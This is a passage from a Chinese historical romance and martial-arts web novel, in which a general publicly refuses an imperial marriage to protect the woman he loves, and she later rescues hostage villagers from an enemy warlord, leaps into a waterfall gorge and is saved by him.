正啸继续咬牙说道：“而且皇上，臣乃卢家嫡传独子，臣未来之子嗣，必将继承卢家忠君爱国之志，需性情温和，涵养宽厚之贤母孜孜教诲，而方茉云性格乖张，行事狠厉，虽适于断案之职，然于为母之道却极为不足，恐难以担当臣后嗣之母。”
“卢正啸！”元帅忍无可忍的吼道。
正啸却毫不退让的看向皇上说道：“臣求皇上三思，臣和方茉云没有儿女私情，此婚亦非良配，望皇上明鉴！”
众人默然，气氛瞬间变得凝重至极，茉云能感受心中这番言辞带来的冲击，脸上却依旧一脸镇定自若……
正啸只能咬牙将心头的情感深深压下，他知道自己此时只能用最冷漠的言辞为她拒绝了这场赐婚，此刻的无情，才是他大战之前能给予她的最后一份保护——让她走！
他最终抬头坚定的望向皇上，此番陈述如一个个无可辩驳的事实，让圣上亦不能强行下旨。
圣上望向正啸，嘴角忽然微微上扬，最终轻声道：“罢了，朕此行便要回京了，元帅和大将军，好生珍重。”
众人旋即恭恭敬敬地恭送圣驾，正啸心中也深深松了口气，随后皇上出了别苑，缓缓上了车架，仪仗像城门而去，皇撵在阳光下闪烁着耀眼的光芒。
走出数丈之后，皇上转头对身旁的太傅微微一笑，说道：“啸儿也会演戏了。”
关太傅闻言，脸上露出温和的笑容，心中却能理解正啸之用意，他微微颔首，轻声回应：“请皇上体谅大将军一心为边关。”
“且看他自己如何收场吧！”皇上嘴角又荡起了意味深长的笑意，他也没想到啸儿居然如此在意此人。
众人站在原地，恭敬目送皇上的车队远去，气氛中仍然残留着一丝紧张。
此时穆棱居然愤然站起，眼中燃烧着怒火，语气中充满了忿然：“茉云，跟二哥回去？”
茉云望向穆棱愣了半刻，他第一次看见她二哥眼中如此的神情。
“穆棱……”执礼想缓解一下茉云二哥的怒气，却一时也不知道如何开口。
“男婚女嫁本是自愿的，若大将军想拒绝，拒绝便是，何以如此羞辱我妹！”
穆棱好似第一次如此愤怒，声音激动得连气息都有些短促了。正啸只能深吸一口气，却无言以对……
然而，茉云却镇定自若，语气平和地说道：“人又没有说错。”
她的声音如此平淡，一字一句亦透着一股风轻云淡却无情的理智。
二哥深吸一口气望向茉云，眼中依然流露出愤怒与不甘：“茉云，随二哥回去，大哥曾说过，咱们方家绝不在看不起咱家的人面前，摇尾乞怜……谢谢巡抚夫人的邀请，元帅我们先告辞了！”
穆棱不容分说拉起茉云，他素来重礼节，鲜少会如此毫不顾忌旁人的感受，拉着茉云的手臂径直离去。
正啸抬目看向茉云的背影，终究未发一言，片刻后，他神情逐渐冷峻，默默收回目光，毫不迟疑地转身离开，背影如山坚定亦如山孤耸。
余下的众人皆面露怔然，谁也未料到这场赐婚会以这样的局面收场。
“诶！”元帅想说什么却也只能化作无奈的叹息，他也知道感情之事，不可强求。
若辰默默地跟在正啸身后，一言不发目光深沉，可是季岚能感觉到他神情中隐隐透出压抑的愤怒。他两人一路无声，只有脚步声在寂静的院落里回响。
直到二人踏入正啸小院的那一刻，若辰忽然停下脚步，目光炯炯地望向正啸，猛然带着震怒与不解，低喝道：“为何要如此当着众人，羞辱于她！”
季岚诧异的望向若辰，她从未见到自己一向温润如玉的夫君，如此愤怒而不可抑的模样。
若辰的声音在院中回荡，压抑的忿然顷刻爆发，胸膛剧烈起伏，他甚至不敢相信，方才在圣驾前，正啸竟会用那样恶毒的言语去评判茉云，去当众
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践踏她的尊严。
正啸却咬牙一言不发，往自己房里走去。
“卢正啸，你扪心自问对她是不是无私！”若辰忍无可忍的吼道。
“够了！”正啸终于忍无可忍，猛地转过身，厉声低喝：“闭嘴！”
他的目光冷峻，声音压低，可是握紧拳头的手紧得在颤抖。他不愿也不能将这段感情公诸于众……
若辰此刻根本没有办法压抑自己：“那你何以说得出口！你凭什么……”
正啸一字一句，克制而冷静地打断道：“那你又凭什么觉得我一定能活着回？又凭什么认为她能在京城安稳度日？关若辰，你可想过此时他们急着让她嫁入卢府，意欲何为？”
正啸的目光深沉而冷冽，带着悲凉的清醒。若辰怔了半刻，脑中忽然赫然一道惊雷，他拼命的重新思虑着正啸的话……
正啸再也没有说什么转身离去，独自进入了房间，看向桌上不知何时茉云还来的披风，深深吸了口气！
季岚站在若辰身边轻轻地说道：“夫君，老太君此举实乃为卢家计，季岚也能体谅！”
若辰深吸一口气望向季岚，季岚温婉的伸手握着若辰的手。
“于卢家而言，茉云入府便是最大的助力，她善斗且绝不屈服，定为卢正啸抗争到底，可是于茉云自己而言，这将是被一场永无尽头的斗争！”
若辰怔怔地望着正啸的房间，在这一刻他才冷静下来，终于读懂了他的用心，但这份苦涩的真相，却让茉云能如何面对呢……
茉云回到了俞家，看向自己一路上都如此沉默的二哥：“二哥，何必如此忿然！”
穆棱回头温和的望向茉云：“二哥无事，只是觉得，不想你费神去想该如何离开！”
“谢谢二哥！”茉云望向穆棱顷刻笑了点点头，二哥只是体谅自己那一刻的难堪。
此时俞诗却喜笑颜开地从房里忽然跑出，手里喜气洋洋捧着她锦缎闪亮、绣工精美的嫁衣。那是她的娘早早就亲手给她缝制好的，一针一线都透着母亲待女儿最深的温情。
俞诗忙不迭地将嫁衣展开比划在身前，像个孩子一样雀跃地试给茉云看。
“表姐，你看，好看吗？”俞诗脸上洋溢着期待的笑容，眼睛里满是憧憬。
院子里一片笑声，俞家上下都洋溢着喜庆的气氛，仿佛整个府邸都沾染上了府中小姐的幸福与期待。舅妈站在一旁，满脸笑意的和身边说这话，话里话外都是对这未来的女婿瑞林是赞不绝口。
穆棱深深的倒抽了一口气望向茉云，茉云则站在一旁，眼神温和看着这份热闹，嘴角带着灿然的笑意直点头。
待众人又将目光看到俞诗身上，茉云才转身悄然回了房间，让这份喜悦的氛围留在厅堂。
穆棱却心中无限畅然，有的女孩自幼集万千宠爱与一生，好似一切美好都能轻易得到，而有的人……
夜里，夜色寂静而空旷，天幕如同墨染深邃无边，只有几颗稀疏的星星，冷意好似从地底抽出，裹挟着冬日的寒凉，让飞来的信鸽，都不由地寒颤，茉云伸手取下了信鸽脚上所绑之物，怔了半刻……
而在玉家别苑，季岚回房，看向桌案前烛光下若辰的画，旁上写着一行字：“情深尽孤独……”
187.向前
翌日晌午之时，瑞林来了别苑，神情带着几分复杂，他微微低下头，沉声说道：“茉云带着家人，一家天不亮便离开了南华。”
话音刚落，四周瞬间寂静无声，众人各怀心事地低下头，彼此默默无言，空气仿佛都变得凝重了许多，透着一丝说不出的失落。
只有正啸依旧一脸的波澜不惊，未言一语，走出房间的那一刻，正啸抬头望向远方，仿佛穿过这片沉默，送别着她的背影，若辰亦深吸一口气，一转身，人海里……
而在京中，卢老太君坐在暖炉旁，双手扶着拐杖，听到下人来报，说正啸公然拒了皇上赐婚，她眉头微微一皱，眼底浮现出些许惊讶，她未曾想到，正啸会如此决绝地拒绝这门婚事。
然而，老太君的惊讶仅仅持续了片刻，随即又恢复了平静，像是看透了什么一般。她轻轻叹了一口气，心里亦明了，正啸的拒绝是因为什么，他这一生又何曾为自己活过一日……
老太君轻轻抬手示意身边人退下，独自坐在炉火旁，目光悠远似在回忆，又似在思量，最终化作一声无奈的低叹！
元帅和众人从南华回南关，正啸骑在马上望着前方，寒风从耳边呼啸而过，掀起他的披风，却没有丝毫撼动他那沉稳的身影。
他依旧神情冷峻，威严而深邃，跟随的众人都默不作声，紧跟在他的身后。好似谁都不敢打破这份沉寂，风声中，只有马蹄踩在枯草上的细微声响。
正啸回到了南关，便立即投入到整军之中。他穿梭于营帐之间，助周劲尽快安排全军练兵，召集诸将调整部署，与东山、执礼商量军粮供给，他连片刻的停歇都未曾有过。
日复一日，白日营外练兵议事，夜里伏案批阅军情，夜幕沈时，他帐中总是烛火通明。千山都心中不免担忧，每次上前劝正啸休息，换来的总是正啸挥手让他下去休息，而他依旧沉浸在军务之中，丝毫不为所动。
若辰望向正啸连夜的烛光，眉宇间透着担忧，他将所有的心力都化作这军中的点滴，把自己埋进了这日夜不休的操劳之中，终究是欲盖弥彰。
直到这日正啸在武林的师弟万子谦递上了拜帖，正啸还是抽出了时间见了他一面，临别之时，子谦似乎心事重重的欲言又止……
“万大少爷，你如今和少主也没有这般疏远吧！连话都不敢说了？”执礼温和的笑了说道。
“我……”子谦最终深吸一口气望向正啸说道，“师兄，我去边城之时，曲悠托我告诉你，方茉云正打算从边城出关，而且不知道她跟曲悠父亲商议了什么事……”
众人除了正啸皆瞪圆了双眼望向子谦，方茉云出关无异于自寻死路，峑戎上下恨她绝不亚于卢家。
可是正啸则一脸镇定自若的好似没有听见一般，让子谦都有几分尴尬，他当然亦听说了正啸拒婚的言辞，心想是自己多事了，可是他还是必须说，这是自己唯一可尽的绵力！
而关外，茉云一骑绝尘而去，奔驰在荒凉的关外，寒风如刀，沙尘扑面，但她没有丝毫犹豫，策马疾驰而去。
终于，她赶到了幼时那熟悉的村庄吉祥村附近，那个曾经在她落难时收留过她的关外小村落，然而眼前的景象却让她心中一震，显然此处道路被铁骑踏过，而且是她熟悉的马蹄印——峑戎。
那日她在俞府收到的信鸽便是绑了一个吉祥村村中图腾的信物，然后旁边信中，写了一个日子！现在距离这个日子，只有一天的时间了……
村庄的与外界连通的山道上空无一人，茉云夜里偷偷潜入了村中后山，俯瞰而去，看见村民们一个个被押在村中央的空地上上，手脚被粗绳紧缚，面露恐惧却也带着隐忍的愤怒。
峑戎的大将军幽戎正冷冷地坐在篝火旁，目光阴鸷地看着乱窜的火苗，嘴角勾起一丝残忍的笑意，他忽然高声道：“方茉云，我知道你在，自己露面吧。不然明日开始，便每日有十人偿命。”
村民们互相对视，眼中满是无言反抗，四周的峑戎士兵冷眼看着他们，手中的兵刃在火光下闪着寒光。
整个吉祥村都被一种紧张可怖的氛围笼罩，似乎在等待着一个注定的时刻，茉云咬牙瞪向幽戎，这家伙果然走上了这条疯路……
茉云目光冷冽而坚毅，她顷刻准备飞身而下，他无论如何也要护这些人周全，可是这一刻忽然有人伸手出现拦住了茉云，茉云月光下定睛一看，居然是秦沐白！
“林宥汐又被抓了？”茉云无语的望向沐白指着村里说道。
此时沐白身后的人都被逗乐了，曲悠望向茉云说道：“知道你出关，我叫了他们来，看有没有能帮得到你的地方？”
她再往后一看，月光下竟是一行人，皆是昔日江湖中的老友——曲悠微微一笑，神色轻松，叶凌手握长剑，冷然不语，还有阔超、云鹤等人，他们一身风尘仆仆，个个神情果敢，都好似跨越了千山万水的而来。
“不是，大姐，你准备去送死啊？”云鹤悄声没好气的指着前方说道。
茉云顷刻望向村落，数着人数，峑戎来了二十人，然后望向他们自顾自的说道：“论战力，我能算五个人，叶凌算五个人，秦沐白算五个人，曲悠和阔超算三个，云鹤……减掉一个，诶，兴许也搞得赢！”
“诶，为啥我减一个？”云鹤忿然的骂道，曲悠和阔超顷刻被逗笑了。
“你再大点声！你可以一人减掉所有！”茉云没好气的说道。
众人马上伏低头，都静声潜伏下来，茉云冷静地扫视了一眼山下的峑戎暗营杀手，都是幽戎的亲信，个个都是高手，她目光中多了一丝深思……
她缓缓转头看向身边人，眼神中透出一股决然：“我们先退到山里，另作打算。”
众人对视一眼都点头表示赞成，跟随她悄然绕过山林小道，悄无声息地退回到后山的隐蔽处。
夜色深沉，山风轻拂，吹动树叶沙沙作响，好似故意为掩盖他们的踪迹。
茉云站在巨石旁，沉思片刻后，低声说道：“敌众我寡，只能智取。既然他们在等我出现，那我们就来个将计就计，我去引开他们，你们帮我救人。”
她的语气冷静而坚定，曲悠他们闻言纷纷点头。
只有秦沐白没有丝毫转圜的坦白指着说道：“人显然就是要杀你，那你的将计就计和送死有何差别？”
茉云无语的望向沐白，感叹道：“到底是男人成家便会成长！你如今竟然如此不好诓骗！”
曲悠他们顷刻又乐了，沐白依然望向茉云等着他回答。
“沐白，说得有理，我等绝不可能让你去送死！”叶凌也一脸冷峻的说道。
“放心！”茉云目光自信的望向吉祥村的方向，显然已胸有成
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竹。
她一边跟众人在地上画着吉祥村的进出口，一边详细说着周密的计划，说完茉云环顾四周看着每一张张忠勇的面孔，心底似乎更加坚定。
曲悠若有所思的复述道：“你意思是阔超点火借山风燃了村庄，你引走那峑戎的大将军幽戎，然后我们趁乱放倒守卫，带着村民从此处逃亡去边城！”
“对！”
叶凌望向茉云道：“你何以确定你能引走幽戎！而不是贼寇一见你便杀你！”
“我自有妙计！”茉云一脸的笃定的说道，“他定没那么快杀我！我有把握！”
众人都有几分担忧和怀疑的望向茉云。
“这我倒信，上次她也是引得卢正啸疯了似的一人冲进火场救他！”沐白每每说起卢正啸都是一副瞧不上的神情。
曲悠等人则乐了，皆望向茉云，听到卢正啸的名字，茉云情不自禁的眼中闪过一丝异样。
“可如此恶敌，你为何不像师兄求救！”云鹤不由得说道。
“干就干，不干就滚？”
众人都愣了半刻望向茉云，茉云才晃过神，解释说道：“人几十万大军在边关等着他，当年我在边城碰见你们这群恶人，可跟他求助了半分？而且这是他会管的地吗？我等自己收拾，错错有余！”
“哦！”云鹤不敢再说话了。
茉云起身躲开了众人的眼神，站在山林的风口，眼神中燃起一丝决然的光芒，她知道，唯有自己亲自能引开幽戎，才能将敌人注意力从村民身上彻底移开。这支队伍皆是幽戎的心腹与追随者，他们定会紧随幽戎而动，不会轻易放她离去。
这一搏，只希望能给这些曾经仗义出手帮过自己的村民们争取一线生机。
茉云转身望向曲悠：“到时候，有劳你带着吉祥村的村民即刻向边城撤离，务必在翌日天亮前赶到边城。你就说我说的，他们会听你的话。”
曲悠神情一震，似乎有些意识到茉云的意图，眼中闪过一丝不安，张口欲问。
还未说出口，就被茉云打断，给了他一个坚定的眼神：“这是唯一的机会，越快越好。待我引开幽戎，你们立刻动身，不可耽搁，我们到时候在边城汇合。”
看着曲悠坚定地点点头，茉云心中才微松一口气，转身迈步向山道的方向走去，准备带阔超去寻找点火的地方。
她深知，前方等待她的，是与幽戎不可避免的一场相见，迟早会来，此刻更无退路，是他两立场的对立，更是命运的交锋。
寒风吹来宛如刀锋刺破这片沉寂的荒野，茉云握紧了佩剑，仿佛在无声地告知这片土地，她没有半分全身而退的把握，可是她已准备好迎接一切，无论是生死或成败……
他们在山林中一步步前行，她的脑海中也不断涌起纷繁的思绪，回忆如潮水般袭来，她想起了故土的温暖，想起了曾经守护过的家人和村民，想起了此生遇见的那些温暖诚挚的面孔，青岚，师兄，关若辰……都一一浮现在脑海，带着久违的温情。
然而，回忆中紧接而来的却是那个最熟悉的身影，他在自己脑海中说话的声音与耳边的风声交织在一起，忽然让她无从逃避。
她心中一再跟自己说，不要再想起他……可终究是无用，不见落花有意，淘尽流水无情，此刻就让一切泛滥吧，因为终究一切都会随风……
188.无悔
茉云终于在一片荒凉的山岭间找到了一处合适的风口。这里地势高耸，风势自山谷中急速涌来，她和阔超勘察了四周，收集来了成堆的枯枝枯草，足以引燃一场迅猛的山火。
在山中隐蔽了一日，此时已至黄昏，茉云低头将手掌摊在风中，感受着风向和速度，风向正好，天助我也，仿佛一切都在等待某个命运的契机。
只需等到白日一过，天色稍暗，便是点火的最好时机。
“这里交给你了！”茉云望向阔超说道。
“你打算如何引开幽戎？”阔超还是不解的望向茉云。
茉云则淡然的笑了，目光沉静如深潭，露出一丝狠戾，凝视着这片荒野……
夕阳渐沉，夜幕降临，篝火好似向延续着霞光的暗红，给整个吉祥村蒙上了一层冷酷的血色。
按照幽戎的约定，暗营杀手们面无表情地望向空地中央的村民，幽戎的随将集益冷冷地抬手一挥，命令开始执行。他们准备按约定干掉十名村民，以此向茉云施压。
就在此时，暗营的杀手缓步走到幽戎身旁，端起他案上的一碗烈酒，豪饮一口，随即喷洒在自己锋利的刀刃上，刀上染上的酒在火光下泛起冷冷的光芒。
杀手缓缓走向了被绑缚的村民，一步步逼近，身影投射在地面上，仿佛一道冷漠的阴影。
村长见状咬紧牙关，拼命挡在一众村民前方，双眼中透出坚定的光芒，可是当他看见杀手双眼时愣了半刻。
杀手冷冷地看了村长一眼，随后将酒碗安稳的放在一旁石桌上，抬臂双手握紧了刀柄，好似是为接下来的动作下定决心。
霎那间，他扬起手中的刀，所有村民都屏住了呼吸，下一刻，只见刀光一闪——“嚓”的一响。
村长与几名壮汉手腕上的绳索应声断裂。峑戎的杀手们纷纷侧目，诧异于他的突兀之举。
村长愣住了，看着被斩断的绳索，旋即明白了什么，抬头望向那名杀手。
幽戎却忽然仰头狂笑，笑声中带着几分癫狂和欣喜，仿佛对眼前所见之情景和人都感到畅快。
随即他那双锐利的眼睛透出一股阴冷却又闪耀着光芒，注视着眼前的杀手：“方茉云，你果然是个疯子！”
幽戎笑意和眼神都如此浓烈，似乎极为享受眼前的对峙，对茉云疯癫般的大胆和无畏，总是充满了赞赏的意味……
茉云取下了面罩，冷冷的笑了，屹立在暗影之中：“你找我何事？”
而潜伏在山林中的叶凌等人看清了茉云的身影，都大吃了一惊，她这哪儿是引走敌寇，简直是自投罗网。可是他们此时只能按捺住心中的诧异和恐慌，依计行事！
幽戎咬牙望向茉云，眼中燃烧起了怒火，但在那愤怒的火焰深处，隐隐掺杂着一种无法抹去的执念。
他缓缓开口，声音低沉而冷酷，带着一丝冰冷：“方茉云，看着自己至亲的友人为你而亡，是什么滋味？”
“原来出自你手，我还说呢，南华城中的炸药从何而来！”
幽戎微微扬起眉头，嘴角的冷笑带着刺骨的寒意。火光下，他身形依旧魁梧如山，俊朗的脸庞上瞳色深邃如夜，衣领依旧随意的散开，随风微微摆动，露出结实的胸膛，随着他有力的呼吸缓缓起伏，充满了阳刚的力量感，又散发着野性和不羁的气息。
幽戎的随将集益更是轻蔑的质问道：“方茉云，你这九死一生，不顾一切的为了卢正啸，最终换来的，却是他的无情与厌弃。落花有意流水无情的滋味，如何？”
集益所言，字字如同锋利的匕首刺向茉云，却也刺伤了幽戎。他如鹰隼般的眼神中闪过一丝异样，那浑身散发的威猛与野性，也掩盖不住眼神中夹杂的那一丝孤伤，那抹时而黯然，时而浓烈的炙热。
“那我是落花，还是流水？”茉云依旧一脸的风轻云淡。
幽戎望向茉云，直到再一次见到这双眼底闪烁着疯癫和狠戾的双眸，他才知道她已经变成一种无法自拔的深刻，也许此生都会让自己在爱与恨之间挣扎，苦海不得脱。
“兄台，这世上多的是难圆的月，难并的肩，何必执着！”茉云嘴角扬起一抹洒脱笑意。
集益再也隐忍不住情绪，眼中燃烧着愤怒与蔑视的吼道：“方茉云，从头到尾，你就是个彻头彻尾的骗子！你还曾装得那么重义，高尚，你以为主子是看不穿你的伎俩吗？而你，利用他，背叛他，重伤他，你这个叛徒！贱人！”
茉云没有丝毫辩解，畅然而笑，笑声洒脱而桀骜，带着几分冰冷的决绝，昂首望向幽戎，抬手端起了那碗酒，豪迈的吼道：“来，敬恶魔魍魉，敬命运无光，敬深渊万丈！咱可别配不上这人世的苦难！”
话音落下，她豪迈地将酒碗一饮而尽，酒液滑过唇边，带着寒风的凛冽，仿佛这烈酒将她的意志与无畏一同灌入心底。
幽戎顷刻间痴迷而癫狂的笑了，仿佛这天地之间，唯她！如此无畏又无惧，那便任由自己在爱恨之中挣扎沉沦吧！
就在这一刻，后山忽然窜起冲天的火光，点燃了整片山林。狂风呼啸而至，似是助燃的恶魔，将火焰吹得疯狂摇曳。烈火在黑夜中如同赤色的巨浪，顺着山势一泻千里，吞噬着沿途的每一寸草木，映红了整个天际。
火势肆虐，浓烟滚滚腾空而起，炽热的火光在狂风中往吉祥村袭来。众人皆惊慌，只有茉云和幽戎镇定的四目相对。
茉云眼神忽然闪过一丝狠戾，嘴角微微扬起，她猛然转身，身形一跃，毫不犹豫地朝着火光汹涌的山林方向飞身而去。
她身影在风中飞掠，快如闪电，几乎让人无法捕捉。可是幽戎的眼中，她的每一步都带着极限的挑衅，仿佛在无声地嘲讽他。
幽戎居然狂笑出声，笑声中带着几分癫狂与兴奋，这一刻他好似被激起了最深处的战意与执念：“好，且看，我抓不抓得到你！”
幽戎猛地飞身而起，不顾所有下属的劝阻，迅猛地朝茉云，同时也是火海的方向追去。前方山林中狂风卷起尘土和火苗，他的身影如同夜色中的猛兽，毫不犹豫地扑向那片烈焰的深处。
幽戎的属下见他不顾一切地追向茉云，也纷纷飞身而起，紧随其后，仿佛一群凶猛而嗜血的野兽，冲向火光腾起的山林，誓要将茉云追捕。
与此同时，潜伏在暗处的叶凌他们一行人，立即见机而动，飞身而下，悄无声息地迅猛的放倒守卫。然后动作利落的迅速解开吉祥村村民们的束缚，曲悠低声催促道：“要速速离开，方茉云让你们随我走，去边城！”
村长迟疑了半刻然后点点头，村民们见状，满脸惊喜与感激，在他们的带领下迅速撤离。
他们走出了一炷香时间，叶凌和沐白三人相视一笑，停住了望向曲悠和阔超，云鹤说道：“带他们回边城，我们去看看！”
曲悠愣了半刻望向叶凌，最终点了头，茉云曾救过他们，而且他们跟还有卢正啸的交情在，他们绝不可能任由茉云孤身陷入敌军，而放任不管。
此时茉云在山林中如疾风般穿梭，几乎化为一道影子，掠过树影间的空隙，火光映照在她坚毅的面容上，带着一股死都不会被俘的决然。
幽戎眼神中只剩下狂热的执着，他目光紧锁着那道如鬼魅般的身影追去，边挥手下令：“传令箭手，不得射她——必须抓活的！”
叶凌和沐白此时都顷刻飞身靠近了山林，都听见幽戎这声怒吼：“必须抓活的！”
幽戎的属下纷纷领命，集益吸了口气望向幽戎，众人的利箭蓄势待发之时，却因为幽戎一声令下，始终未曾射出。
茉云回头一瞥，见到身后那群如猛狼般的追捕者，嘴角勾起一丝冷然，在密林间纵跃穿行，仿佛大地与黑夜为她开道，将她保护在其间。而幽戎和他的队伍，如同绝不会放弃的猛兽，风声与脚步声在夜色中交织成一曲猎杀之歌。
火势也越发猖狂，叶凌他们根本无法从吉祥村进入山林，只能绕道。
幽戎的随将集益深深吸了口气，看向幽戎，在火光与浓烟中他疯狂的追逐着茉云，好似疯癫了一般，集益担忧的往山林深处望去……
山林间火势也愈发凶猛，茉云的身影如同夜中的魅影，幽戎却也毫不迟疑的往火海而去，集益的眉头紧锁，心中知道方茉云绝不可能活着被俘，她甚至会选择与幽戎同归于尽……
集益再无迟疑，飞速抽出信号弹，仰头望向夜空，咬牙将信号火药射出，一道明亮的光芒划破黑暗，穿透浓烟，顷刻间在夜空中炸裂开来。那是峑戎的召唤信号，驻扎在附近的峑戎大队将会迅速赶来增援。
信号发出的瞬间，幽戎冷冷地转头，目光如刀望向集益，眼神中含有怒火，集益居然敢私放信号。
集益却没有丝毫退缩，他紧紧握住拳头双腿跪地，神情中透出一股坚定而绝：“主子，方茉云不死，您此生终将被她所累，她必须死！她是峑戎不共戴天的敌人！日后，你若要废了属下，属下绝无怨
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言！”
幽戎盯着他的属下片刻，最终不发一言，继续往火海中跑去。
茉云费劲千辛万苦穿山越岭，绕过了山火，正打算借着山林的掩护从小道突围，忽然远处尘土飞扬，一队峑戎人马已迅速封住了她的去路。
而月光下，她看清为首之人一身甲胄，面容冷傲，正是峑戎的长公主——幽戎的妻子，她威严凛凛的目光中透出无比冷酷的杀意。
长公主骑在马上，气势如虹，手一挥，身后几十名峑戎精锐射手迅速排开，严密地封锁了出口。显然，她誓要将茉云斩杀于此，绝不容许她活着离开。
茉云心中一紧，立刻意识到自己已被包围，若不迅速脱身，将陷入前后夹击之中。
她的目光快速扫视四周，片刻也不迟疑，猛然转身，朝另一侧的山岭飞奔而去。身后是漫山遍野的追兵，前方是茫茫夜色。
茉云眼中燃起了不屈的火焰，她深知，唯有拼尽全力，杀出一条生路，而最后倘若无逃生之机，她也绝不允许自己被俘，死都不能！
她绕道上了另一座山，忽然看见叶凌和沐白他们，正焦急地在林间寻她，她只得无语压低声音说道：“快！一起撤！”
他们朝着密林深处飞速逃窜。然而，身后却传来长公主冷厉的命令：“神射手，给我射杀！”
茉云在逃窜中，捕捉到风声的细微变化，瞬间察觉到危险临近，她猛然转身，一把推开身旁的沐白，然后众人马上躲到石后。
利箭擦过她的肩膀，锋利的箭头划伤她的肩膀，血瞬间浸透了伤口的衣襟，染红了她的肩膀。月光下，他两惊愕地望向她，眼中满是担忧。
茉云低头看向地上，捡起那支刚射伤自己的残箭，仔细瞧了片刻，冷静地递给叶凌，沉声说道：“峑戎的箭改良了，箭头独特，估计重甲都能破，叶凌，拜托你把这箭送去卢家军，让卢正啸知晓此事。”
叶凌接过箭，眼神复杂地看了茉云一眼，她自己为何不送，但是此时也没有时间再交谈，他微微点头。
茉云深吸一口气，迅速扫视四周，果断说道：“咱们分散逃，分开敌军射手的注意，不然我们全都逃不出去。”
三人互相对视一眼点点头。随即，他们迅速分散各自奔向不同方向，脚步匆匆消失在浓密的树影中。
茉云心中知道，对手人太多，自己绝不能白白牵连他们，而且这个紧急的军报必须带给卢正啸。
茉云将心一横，朝另一方向疾奔出，三人分散逃离不到半炷香的时间，就听见山林中传出了茉云的吼声：“老子就在这里，有本事你们就来抓！”
她毫不犹豫地奔向一条隐蔽而险峻的小径，毅然的暴露自己的踪迹，在林间故意发出声响，身影飞闪而过，果然吸引了峑戎的神射手和追兵。
这条路上嶙峋的岩石在火光中泛出冷冷的光芒，这是一条通往深渊的绝路。
一夜的逃窜，茉云的肩膀衣襟已经被血染透，而她也已经筋疲力尽，神智都有些恍惚，此刻她心中庆幸的是，如果记得不错，前面就快到头了，果不其然高耸的瀑布悬崖出现了，底下是深不见底的峡谷激流。唯有这样险绝的路径，才能阻断敌人，让他们有生还的机会。
而此时自己已经体力耗尽，身上的伤口阵阵剧痛传来，汗水混杂着血液浸湿了衣裳，但她眼神中透出一种视死如归的凛然。
忽然，身后传来一阵急促的脚步声。幽戎的身影在飞速逼近，目光中带着一抹疯狂的执着，似乎已猜出她的意图。他的声音低沉而带着怒意，远远喊道：“方茉云！”
茉云嘴角微微扬起，露出一丝决绝的冷笑。
“不论死活，我都会抓到你！”
茉云看都没有回头看他们一眼，仿佛背影都在向他宣告，你做梦。她毫不迟疑地纵身一跃，身影在风中划出一道孤绝的弧线，坠向那无尽的深渊。
“方茉云！”
在这短暂的瞬间，她耳畔只余风声呼啸，天地间仿佛只剩下她一人，四周一片寂静。而就在她坠落的刹那，她的眼前忽然浮现出一抹熟悉的身影，那身影好似伫立在对面……
她的心中猛然一颤，忽然感谢老天爷让她最后一刻产生的幻觉，能让她再见到他一面……
她这一生因为这抹身影的出现而被救赎，此刻他也化为自己最后的慰藉，令她在冰冷的风中找到了一丝归属和安稳。
哪怕这一切都是幻影，她这一生亦无怨无悔。
189.他来了
茉云毅然决然地跳入了峡谷瀑布的深渊，好似伴随着四面八方传来的呼喊声，只有狂风是扑面而来，冰冷的水珠扑打在脸上，寒意直透骨髓，瀑布的水流咆哮着将她吞没，她的身影在飞溅的水花中逐渐隐去，坠入谷底的深潭中……
她已没有丝毫力气，只能沉入了冰冷的深潭，潭水幽暗冰寒，仿佛无尽的深渊，吞噬着所有的光与声。
然而，在这黑暗的冰冷中，她却依然无畏，只因心中的不屈的在燃烧。
无论多么深的水，无论多么险的路，她都将以自己的方式走，就凭幽戎也能抓住自己？不可能！
就在茉云即将被深潭的冰冷吞噬之际，忽然，一双有力的手稳稳地抓住了她的手腕。那力量是那么的坚定而温暖，仿佛带着不可抗拒的力量，要将她从无尽的深渊中拉回。
她睁开眼的一瞬，水雾模糊了她的视线，但她能感受到那双手的温度，如此熟悉……
随着那双手的紧握，她渐渐上升，然后她忽然感觉都，被人从背后紧紧抱到怀中，自己冰冷的身躯紧紧地贴向了那炙热而结实的胸膛，她已在渐渐失去意识，可这致命的熟悉感，化作一股暖流，穿透她的心底，驱散了一切寒意。
她知道，是他来了！
他带着茉云破水而出，茉云深深吸了一口久违的空气，带着急促的喘息，回头望去，这个模糊的身影在渐渐清晰，目光如此温柔……
茉云已经耗尽了气力，说不出话来，只能无言地凝视着对方，原本以为自己终究要独自去走，这最后的路了，在这一刻，他又出现了……
天地忽然间悄然了声息，入目无他人，四下皆是你！
可茉云实在是筋疲力竭，最终失去了意识倒在了正啸的怀里。正啸深吸一口气抱紧她，让寒冷的潭水不再无情地侵蚀她，水流湍急，激起层层水花，拍打在两人身上。
突然崖上传来幽戎的怒吼声，峡谷中片刻的安宁被打破，他的声音惊慌而愤怒，仿佛狂风在山谷间回荡。他声嘶力竭地喊着方茉云。而他的属下蜂拥上前，试图劝阻幽戎跳下崖，他亲眼看见茉云坠崖，已经被疯狂蒙蔽了理智。
此时集益靠近崖边透过晨曦的微光，大声喊道，主子，水面上的有人，往下游飘去。
幽戎眼中闪过一丝希望，厉声命令峑戎的杀手们：“沿着下游，找！不惜一切代价也要找到方茉云！”
一众峑戎杀手立刻领命，脚步匆忙，纷纷朝下游的方向奔去，沿着狭窄的河岸快速追击。而长公主望向幽戎的背影，只能默默地深吸一口气……
正啸抱紧茉云，感受到她身体微微发颤，河流湍急将他两带往下游，耳边只能听到呼啸的水声与峑戎杀手在山谷中的声响，敌军也正沿着峡谷紧追而来。
终于到了河流浅滩处，此时云鹤在岸边等待，看到他们的身影浮出水面，立即将绳索甩向水中，拼尽全力将正啸和茉云拉上岸。
“你上马从山路走，我带她走！”正啸望向云鹤说道。
“好！”
正啸抱着茉云便飞身上马，策马而去，往荒野间飞驰，风声呼啸而过。
然而，就在这一刻，河岸对面传来了密集的马蹄声，峑戎的队伍如潮水般涌出，兵刃闪烁杀气腾腾。
领头的幽戎站在队伍最前方，冷冷地注视着对岸。忽然间，幽戎的眼神中透出恶狠，双眼如刀，纵马飞驰之人是那个他恨不得撕成碎片的宿敌。他的脸上浮现出一抹冰冷的笑容，目光阴鸷，嘴角带着一丝残忍，今日能来个了解也好。
峑戎的杀手们个个眼中杀意毕露，挟着滔天的杀气望向正啸，幽戎狞笑着一挥手，命令铁骑踏过河流，将他们全部碾灭。
正啸抱紧茉云，双腿一夹马腹，烈儿长嘶一声，飞速向前驰骋，想要将身后的追兵甩出视线。可身后峑戎的大军穷追不舍，怒吼声与马蹄声混杂在一起，在荒野中回荡不止。
